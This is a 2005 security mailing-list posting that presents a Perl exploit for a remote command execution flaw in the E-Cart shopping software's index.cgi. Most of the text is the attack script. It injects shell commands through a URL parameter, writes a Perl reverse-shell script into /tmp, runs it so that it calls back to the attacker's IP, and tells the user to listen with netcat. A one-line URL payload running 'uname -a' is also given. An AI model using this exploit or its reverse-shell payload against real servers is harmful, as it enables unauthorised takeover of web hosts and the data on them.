[EXPL] E-Cart index.cgi Command Execution (Exploit)

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To: list@securiteam.com
Date: 26 Apr 2005 10:52:17 +0200

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  E-Cart index.cgi Command Execution (Exploit)
------------------------------------------------------------------------

SUMMARY

E-Cat contains a command execution vulnerability in its index.cgi allows
remote attackers to cause the program to execute arbitrary code. The
following exploit code can be used to test your E-Cart installation for
the mentioned vulnerability.

DETAILS

Exploit:
#!/usr/bin/perl
#
# Example added if code doesn't work for ya:
#
http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|uname%20-a|
# /str0ke
#
#
# info: emanuele@orvietolug.org
#
use IO::Socket;

print "\n\n <http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query=
www.badroot.org > www.badroot.org \n\n";
print " E-Cart E-Commerce Software index.cgi\n";
print " Remote Command Execution Vulnerability\n";
print " Affected version: <= E-Cart 2004 v1.1\n";
print "
http://www.securityfocus.com/archive/1/396748/2005-04-20/2005-04-26/0
\n\n";
print " <http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query= code by z\\
> code by z\\ \n\n\n";
print " 04.23.2005\n\n\n";

print "hostname: \n";
chomp($server=<STDIN>);

print "port: (default: 80)\n";
chomp($port=<STDIN>);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq "" );

print "path: (/cgi-bin/ecart/)\n";
chomp($path=<STDIN>);

print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>);

print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>);

print " \n\n";
print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n";

print "[*] try to exploiting...\n";

$string="/$path/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";

print "[*] OK! \n";
print "[*] NOW, run in your box: nc -l -vv -p $reverse\n";
print "[*] starting connect back on $ip :$reverse\n";
print "[*] DONE!\n";
print "[*] Loock netcat windows and funny\n\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port,
Proto => tcp)
or die;

print $socket "POST $path HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: 7330ecart\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " WARNING - WARNING - WARNING - WARNING \r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\n";
print "If connect back shell not found:\n";
print "- you do not have privileges to write in /tmp\n";
print "- Shell not vulnerable\n\n\n";
print "Greetz: albythebest - #badroot irc.us.azzurra.org - #hacker.eu
us.ircnet.org\n\n\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:emanuele@orvietolug.org>
emanuele.

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